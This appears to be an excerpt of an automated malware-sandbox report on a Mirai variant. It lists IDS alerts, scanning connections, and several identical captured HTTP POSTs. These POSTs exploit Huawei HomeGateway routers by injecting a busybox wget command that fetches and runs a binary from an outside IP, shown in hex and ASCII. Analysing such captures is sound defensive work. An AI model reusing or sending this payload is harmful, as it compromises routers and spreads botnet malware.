Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:32810 -> 112.140.176.30:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:60356 -> 112.181.80.52:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:48548 -> 112.197.180.36:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:51416 -> 112.168.104.151:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:42156 -> 88.30.71.76:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:47628 -> 88.157.215.30:80
Source: Traffic	Snort IDS: 2839471 ETPRO TROJAN Mirai Variant User-Agent (Outbound) 192.168.2.23:47328 -> 88.198.222.89:80

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 112.122.237.60
Source: unknown	TCP traffic detected without corresponding DNS query: 112.65.209.60
Source: unknown	TCP traffic detected without corresponding DNS query: 112.216.92.61
Source: unknown	TCP traffic detected without corresponding DNS query: 112.178.109.107
Source: unknown	TCP traffic detected without corresponding DNS query: 112.155.152.217
Source: unknown	TCP traffic detected without corresponding DNS query: 112.38.116.59
Source: unknown	TCP traffic detected without corresponding DNS query: 112.131.253.103
Source: unknown	TCP traffic detected without corresponding DNS query: 112.227.35.208
Source: unknown	TCP traffic detected without corresponding DNS query: 112.148.146.112
Source: unknown	TCP traffic detected without corresponding DNS query: 112.137.44.221
Source: unknown	TCP traffic detected without corresponding DNS query: 112.121.97.195
Source: unknown	TCP traffic detected without corresponding DNS query: 112.133.47.218
Source: unknown	TCP traffic detected without corresponding DNS query: 112.224.146.193
Source: unknown	TCP traffic detected without corresponding DNS query: 112.123.50.240
Source: unknown	TCP traffic detected without corresponding DNS query: 112.94.95.3
Source: unknown	TCP traffic detected without corresponding DNS query: 112.130.150.191
Source: unknown	TCP traffic detected without corresponding DNS query: 112.122.165.197
Source: unknown	TCP traffic detected without corresponding DNS query: 112.194.212.194
Source: unknown	TCP traffic detected without corresponding DNS query: 112.224.250.172
Source: unknown	TCP traffic detected without corresponding DNS query: 112.212.185.206
Source: unknown	TCP traffic detected without corresponding DNS query: 112.219.173.235
Source: unknown	TCP traffic detected without corresponding DNS query: 112.229.245.154
Source: unknown	TCP traffic detected without corresponding DNS query: 112.5.192.241
Source: unknown	TCP traffic detected without corresponding DNS query: 112.78.203.245
Source: unknown	TCP traffic detected without corresponding DNS query: 112.51.208.126
Source: unknown	TCP traffic detected without corresponding DNS query: 112.9.155.254
Source: unknown	TCP traffic detected without corresponding DNS query: 112.25.131.138
Source: unknown	TCP traffic detected without corresponding DNS query: 112.32.59.206
Source: unknown	TCP traffic detected without corresponding DNS query: 112.206.118.34
Source: unknown	TCP traffic detected without corresponding DNS query: 112.236.134.231
Source: unknown	TCP traffic detected without corresponding DNS query: 112.59.72.81
Source: unknown	TCP traffic detected without corresponding DNS query: 112.245.61.92
Source: unknown	TCP traffic detected without corresponding DNS query: 112.108.140.10
Source: unknown	TCP traffic detected without corresponding DNS query: 112.148.177.210
Source: unknown	TCP traffic detected without corresponding DNS query: 112.125.105.73
Source: unknown	TCP traffic detected without corresponding DNS query: 112.29.39.117
Source: unknown	TCP traffic detected without corresponding DNS query: 112.190.196.49
Source: unknown	TCP traffic detected without corresponding DNS query: 112.164.197.16
Source: unknown	TCP traffic detected without corresponding DNS query: 112.244.102.25
Source: unknown	TCP traffic detected without corresponding DNS query: 112.8.198.107
Source: unknown	TCP traffic detected without corresponding DNS query: 112.87.3.68
Source: unknown	TCP traffic detected without corresponding DNS query: 112.189.63.181
Source: unknown	TCP traffic detected without corresponding DNS query: 112.209.197.210
Source: unknown	TCP traffic detected without corresponding DNS query: 112.124.109.171
Source: unknown	TCP traffic detected without corresponding DNS query: 112.194.139.23
Source: unknown	TCP traffic detected without corresponding DNS query: 112.245.116.181
Source: unknown	TCP traffic detected without corresponding DNS query: 112.40.207.72
Source: unknown	TCP traffic detected without corresponding DNS query: 112.70.61.146
Source: unknown	TCP traffic detected without corresponding DNS query: 112.12.208.16
Source: unknown	TCP traffic detected without corresponding DNS query: 112.153.54.41

